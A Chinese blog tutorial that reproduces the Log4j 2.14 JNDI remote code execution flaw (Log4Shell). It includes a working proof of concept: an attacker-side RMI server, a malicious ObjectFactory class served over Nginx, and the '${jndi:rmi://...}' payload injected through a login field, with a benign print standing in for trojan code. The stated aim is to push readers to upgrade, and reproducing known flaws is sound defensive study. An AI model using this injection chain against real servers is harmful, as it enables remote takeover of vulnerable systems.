连夜复现了Log4j最新史诗级重大漏洞,含视频和完整案例代码

周末与一些小伙伴交流的过程当中,发现一些小伙伴公司的项目中使用的Log4j版本还是2.14.0,我一听就有点震惊了:你们还在使用Log4j的2.14.0版本,这个版本存在重大漏洞啊!

但是有些小伙伴看起来对Log4j中存在的重大漏洞不以为意。“我们项目中使用的Log4j一直是2.14.0这个版本啊,一直没啥问题啊!”。哎,看来有些小伙伴对Log4j2.14.0版本存在的漏洞还是不太了解呀

image.png

漏洞背景

相信有不少小伙伴都还记得在2021年12月份发布的Log4j(2.14.1及以下版本)重大漏洞,这个漏洞主要是利用Log4j支持的JNDI技术在服务器上执行任意代码。并且此漏洞的安全威胁巨大。官方给出的评估如下。

  • 公开程度:漏洞细节已公开
  • 利用条件:无权限要求
  • 交互要求:0 click
  • 漏洞危害:高危、远程代码执行
  • 影响范围:Log4j2.x <= 2.14.1

以上评估来自:
https://x.threatbook.cn/v5/article?threatInfoID=10470

这个漏洞非常非常严重,但是有些小伙伴还在不以为然,今天,我们就一起重现下Log4j的这个重大漏洞。希望各位小伙伴们了解到这个漏洞的严重性后,尽快升级项目中所适用的Log4j版本。

重现Log4j重大漏洞

为了重现Log4j的重大漏洞,我在IDEA中创建了一个Maven项目log4j-demo,如下所示。

image.png

其中log4j-all模块表示本次重现Log4j重大漏洞的所有代码示例。后续为了更好地演示真实的环境效果,我将log4j-all中的代码由拆分成log4j-rmi和log4j-website两个Maven模块。

其中,大家要重点理解的是log4j-rmi模拟的是在一名骇客本地运行的RMI服务,而log4j-website模拟的是一个远程站点,也就是将要被入侵的服务器。在本文中会有详细的场景介绍。

总体项目依赖

打开log4j-demo(Maven父工程)的pom.xml文件,如下所示。


    log4j-rmi
    log4j-website
    log4j-all



    
        org.apache.logging.log4j
        log4j-api
        2.14.0
    

    
        org.apache.logging.log4j
        log4j-core
        2.14.0
    




    
        
            org.apache.maven.plugins
            maven-compiler-plugin
            3.6.1
            
                1.8
                1.8
            
        
    


可以看到,在log4j-demo(Maven父工程)的pom.xml文件中只是依赖了Apache的2.1.40版本的Log4j,并没有其他多余的Maven依赖。

重现log4j-all漏洞

这里,我们首先以log4j-all模块为例,重现Log4j最新重大漏洞。

log4j-all整体说明

log4j-all模块整体的代码情况如下所示。

image.png

如上图所示:

  • io.binghe.log4j.rmi 包下的RmiObj类和RmiServer类模拟的是运行在骇客本地的RMI服务。
  • io.binghe.log4j 包下的Log4jDemo类模拟的是远程站点。
  • log4j2.xml:Log4j的日志配置文件。

Log4j日志配置

首先看下log4j-all模块下resources目录下的log4j2.xml文件,如下所示。



    
        
            
        
    
    
        
            
        
    


可以看到,模块下对于Log4j的配置也比较简单,主要就是配置了一个info级别的日志输出,并且是输出到控制台。

模拟远程站点代码解析

(1)查看 io.binghe.log4j.Log4jDemo 类的代码,如下所示。

/**
 * @author binghe 
 * @version 1.0.0
 * @description Log4j漏洞示例
 */
public class Log4jDemo {

    private static final Logger LOGGER = LogManager.getLogger();

    public static void main(String[] args){
        try {
            String str = "binghe";
            LOGGER.info("输出的信息是:{}", str);
        }catch (Exception e){}
    }
}

相信不少小伙伴在使用Log4j时,会按照上面的方式打印日志。也就是使用Log4j打印日志的{}占位符,后面再跟上要打印的参数。运行上面的代码,输出的日志如下所示。

10:45:07.560 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:binghe

可以看到,正确输出了日志信息 输出的信息是:binghe 。

(2)修改 io.binghe.log4j.Log4jDemo 类的代码中的str字符串变量,将其修改成如下所示。

String str = "${java:os}";

这里,我们将str字符串变量的值由原理的 binghe 修改为 {java:os} 是个什么鬼,继续运行 io.binghe.log4j.Log4jDemo 类,看看输出的日志信息是什么 ${java:os} ,还是别的什么鬼玩意儿,运行后输出的结果信息如下所示。

10:48:18.977 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:Windows 10 10.0, architecture: amd64-64

看到没,输出的信息不是 ${java:os} ,而是我正在重现Log4j重大漏洞的电脑操作系统版本 Windows 10 10.0, architecture: amd64-64 。

我们继续将str字符串换成几个其他的变量值试试,如下所示。

  • 将str字符串换成 ${java:runtime} ,输出的结果信息如下所示。
10:51:51.334 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:Java(TM) SE Runtime Environment (build 1.8.0_202-b08) from Oracle Corporation

可以看到,输出的结果信息是当前Java的运行时环境 Java(TM) SE Runtime Environment (build 1.8.0_202-b08) from Oracle Corporation ,并不是 ${java:runtime} 。

  • 将str字符串换成 ${java:vm} ,输出的结果信息如下所示。
10:53:20.974 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

可以看到,输出的结果信息是 Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode) ,并不是 ${java:vm} 。

看到这里,可能就会有小伙伴有疑问了,Log4j为哈会打印有关操作系统和Java的相关信息呢?

这其实都是Log4j支持JNDI的结果,有关Log4j支持JNDI的信息,小伙伴们可以参考如下链接,这里我就不再过多的赘述了。

https://logging.apache.org/log4j/2.x/manual/lookups.html

在上面的示例中,我们演示的是Log4j支持的Java Lookup功能。

image.png

模拟骇客本地进程代码解析

(1)在 io.binghe.log4j.rmi 下存在这两个Java类,一个是RmiObj类,一个是RmiServer类,这两个类模拟的是在骇客本地运行的RMI服务。首先,来看下RmiObj的代码,如下所示。

/**
 * @author binghe
 * @version 1.0.0
 * @description 模拟log4j的漏洞
 */
public class RmiObj implements ObjectFactory {

    static {
        System.out.println("执行代码");
        //这里可以写任意代码,比如木马程序,病毒程序,死循环,后门程序等等。
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
        return null;
    }
}

可以看到,RmiObj类的代码比较简单,它实现了 javax.naming.spi.ObjectFactory 接口,但是并没有实现 javax.naming.spi.ObjectFactory 接口中的getObjectInstance()方法,在getObjectInstance()方法中直接返回null。

这里,重点是在RmiObj中写了一个静态代码块,如下所示。

static {
    System.out.println("执行代码");
    //这里可以写任意代码,比如木马程序,病毒程序,死循环,后门程序等等。
}

就是这个静态代码块,让骇客利用Log4j的远程代码执行漏洞,可以在远程服务器上做任何想要做的事情。

这里,我们只是在静态代码块中简单地打印了 执行代码 四个字,如果你的项目被骇客盯上了,或许就没我这么友善了。

(2)接下来,看下 io.binghe.log4j.rmi 包下的RmiServer类,如下所示。

/**
 * @author binghe 
 * @version 1.0.0
 * @description 模拟漏洞的RMIServer
 */
public class RmiServer {

    public static void main(String[] args){
        try{
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();

            System.out.println("RMI Listener 1099 port");
            Reference reference = new Reference("io.binghe.log4j.rmi.RmiObj", "io.binghe.log4j.rmi.RmiObj", null);

            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.rebind("test", referenceWrapper);

        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

RmiServer主要模拟的是在骇客本地运行的RMI进程,而且在log4j-all模块中 io.binghe.log4j.rmi 包下的RmiObj类和RmiServer都是在骇客本地的代码。

RmiServer类中的代码也是比较简单的,就是按照常规模式发了一个RMI服务。需要注意的是,在RmiServer类中使用Reference类加载了RmiObj类的代码,并且将RMI服务发布在1099端口上,路径是 /test 。

启动重现漏洞程序

(1)运行 io.binghe.log4j.rmi.RmiServer 类的main()方法骇客本地的RMI服务,启动后输出的日志信息如下所示。

RMI Listener 1099 port

(2)回到模拟远程站点的 io.binghe.log4j.Log4jDemo 代码,将其中的str字符串变量修改成如下所示。

String str = "${jndi:rmi://192.168.0.106:1099/test}";

其中, jndi:rmi://192.168.0.106:1099/test 就是利用Log4j的JNDI技术连接远程RMI服务,其中的 192.168.0.106 表示我本机的IP地址,1099是启动RMI服务监听的端口号,test是发布RMI服务的根目录。

(3)启动 io.binghe.log4j.Log4jDemo 类的main()方法,输出了如下的日志信息。

执行代码
11:38:22.380 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:${jndi:rmi://192.168.0.106:1099/test}

可以看到,在模拟远程站点的Log4jDemo输出的日志中,不仅打印除了Log4j的日志,还打印了在模拟骇客本地RMI服务的 io.binghe.log4j.rmi.RmiObj 类中的代码。

这意味着什么呢?意味着在远程服务器上执行了骇客本地的程序,而骇客是可以在自己本地的 io.binghe.log4j.rmi.RmiObj 类的静态代码块中写任意代码的,是不是很恐怖,这确实是Log4j的一个重大漏洞。

漏洞具体场景分析

说到这里,可能有小伙伴不太理解上述代码的执行逻辑。这里,我给大家举一个具体场景的示例。

(1)一名骇客在自己的本地电脑或者自己的服务器上编写了RmiObj类和RmiServer类,并且在RmiObj类的静态代码块中写了很多破坏远程服务器的代码,比如木马程序、病毒程序、后门程序,死循环等等。在本地电脑或者自己的服务器上启动了RmiServer类来启动一个RMI服务,而RmiServer启动时会加载RmiObj类,如下所示。

image.png

(2)在远程站点的Web登录页面中的用户名文本框中输入了字符串 { jndi:rmi://192.168.0.106:1099/test} ,当前具体的IP地址和端口号以及RMI服务的根路径根据骇客的具体情况调整。点击登录按钮后模拟登录操作,就会显示用户名{
jndi:rmi://192.168.0.106:1099/test} 和乱写的密码发送到远程站点的后台。

image.png

如果远程站点的后台在接收到用户名 ${
jndi:rmi://192.168.0.106:1099/test} 和乱写的密码后,在没有做参数校验的情况下,直接利用Log4j按照如下方式,打印传递过来的用户名和密码。

String username = request.getParameter("username");
String password = request.getParameter("password");
logger.info("用户名为:{}, 密码为:{}", username, password);

此时就会触发Log4j的重大漏洞,在远程站点的服务器上执行骇客本地RmiObj类中的static静态代码块中编写的破坏服务器的代码。相信此时远程站点的服务器就会凉凉了。

至此,我们分析完log4j-all模块了。

重现真实场景漏洞

在log4j-all模块中,我们的所有程序都是在同一个代码模块中的,也就是都在同一个项目中,真实的环境是:RMI服务运行在骇客的本地电脑或者自己的服务器上,而远程站点会运行在远程服务器上。接下来,我们就开始模拟一个更加贴合真实环境的场景。

模拟真实场景项目说明

为了模拟真实场景,这里,我将log4j-all模块继续拆分成log4j-rmi模块和log4j-website模块,其中,log4j-rmi模块模拟运行在骇客本地或自己服务器上的RMI服务,而log4j-website模块模拟远程站点。

image.png

log4j-website模块代码分析

在log-website模块中的代码比较简单,整体上在resources目录下有一个log4j2.xml文件,内容与log4j-all模块的log4j2.xml文件内容相同。在log-website模块的 io.binghe.log4j 包中存在一个Log4jDemo类,代码也与log4j-all模块中的Log4jDemo类的代码基本相同(有稍许不同)。这里,为了模拟远程站点一般部署在远程服务器上,这里将模拟远程站点的Log4jDemo类单独拆分成一个Maven模块工程。log4j-website模块代码结构如下所示。

image.png

注意:在log-website模块中的Log4jDemo类的main()方法中会新增如下两行代码。

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

好了,这就是在log-website模块下模拟的远程站点的Log4jDemo类。

log4j-rmi模块代码分析

我们将log4j-all模块中模拟骇客本地RMI服务的RmiObj类和RmiServer类拆分到了log4j-rmi模块。log4j-rmi模块代码结构如下所示。

image.png

其中,RmiObj类与log4j-all中的RmiObj类相同。而RmiServer类比log4j-all模块中的RmiServer类有稍许不同。我们来看下在log4j-rmi模块中的RmiServer类,如下所示。

/**
 * @author binghe 
 * @version 1.0.0
 * @description 模拟漏洞的RMIServer
 */
public class RmiServer {

    public static void main(String[] args){
        try{
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();

            System.out.println("RMI Listener 1099 port");
            Reference reference = new Reference("RmiObj", "RmiObj", null);

            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.rebind("test", referenceWrapper);

        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

可以看到在log4j-rmi模块中的RmiServer类中,创建Reference对象时传递的参数与在log4j-all的RmiServer类中创建Reference对象时传递的参数不同。在RmiServer类中创建Reference对象时传递的参数是RmiObj的全类名,而这里传递的是简单类名。细心的读者应该已经发现了,我在log4j-rmi模块中将RmiObj类和RmiServer类都移动到了java目录下,并没有创建Java包。

第一次运行程序模拟真实场景

(1)启动log4j-rmi模块下的RmiServer类,会打印出如下日志信息。

RMI Listener 1099 port

说明RMI服务启动成功,并监听了1099端口。

(2)运行log4j-website模块下的Log4jDemo类,输出的日志信息如下所示。

12:44:23.021 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:Reference Class Name: RmiObj

可以看到,在log4j-website模块下的Log4jDemo类中并没有打印出log4j-rmi模块下的RmiObj类中static静态代码块中输出的信息。

也就是说,远程站点不会执行骇客本地的代码,真实环境不存在这个漏洞?答案是非也,真实环境也存在远程代码执行漏洞。

改造log4j-rmi模块代码

(1)到链接
http://nginx.org/en/download.html下载一个Nginx,这里我下载的是Windows版本的Nginx,版本号是1.22.0,如下所示。

image.png

(2)将下载后的Nginx进行解压,这里,我将Nginx解压到我本地电脑的D盘下的 Nginx/nginx-1.22.0 目录下,如下所示。

image.png

(3)使用Maven编译log4j-demo整体功能,找到编译后的log4j-rmi模块下的 target/classes 目录下的RmiObj.class文件,如下所示。

image.png

(4)将编译后的log4j-rmi模块下的 target/classes 目录下的RmiObj.class文件复制到Nginx的html目录下,如下所示。

image.png

复制后的效果如下所示。

image.png

(5)双击Nginx目录下nginx.exe文件启动Nginx,如下所示。

image.png

(6)修改log4j-rmi模块下的RmiServer类的代码,将创建Reference对象时,调用Reference类的构造方法的第三个参数修改成 http://127.0.0.1:80/ ,如下所示。

Reference reference = new Reference("RmiObj", "RmiObj", "http://127.0.0.1:80/");

上述代码表示创建Reference类时,加载了Nginx下的RmiObj.class文件中的RmiObj类。

至此,log4j-rmi模块的代码就改造完成了。

第二次运行程序模拟真实场景

(1)启动log4j-rmi模块下的RmiServer类,会打印出如下日志信息。

RMI Listener 1099 port

说明RMI服务启动成功,并监听了1099端口。

(2)运行log4j-website模块下的Log4jDemo类,输出的日志信息如下所示。

执行代码
13:04:22.542 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:${jndi:rmi://192.168.0.106:1099/test}

可以看到,这次在log4j-website模块下的Log4jDemo程序的命令行打印出了从Nginx中加载的RmiObj类的静态代码块中输出的信息,而Nginx中的RmiObj类其实就是骇客本地的RmiObj类。

至此,我们再次重现了Log4j的重大漏洞。

漏洞真实场景分析

这里的真实场景分析中,远程站点服务器的执行流程与重现log4j-all漏洞中漏洞具体场景分析下的远程站点服务器执行流程相同,都是如下图所示。

image.png

而骇客本地RMI服务程序的执行流程稍有不同,这里的流程如下图所示。

image.png

理解起来也比较简单,这里,我就不再赘述了。

写在最后

这次的Log4j远程代码执行漏洞威胁很大,不仅很多开源软件受其影响,而且还有很多服务器也深受其害。所以,各位小伙伴们如果在项目中使用的Log4j的版本小于等于2.14.1,那就尽快升级到更高版本的Log4j吧,升级Log4j刻不容缓,大家赶紧行动起来。

你可能感兴趣的:(连夜复现了Log4j最新史诗级重大漏洞,含视频和完整案例代码)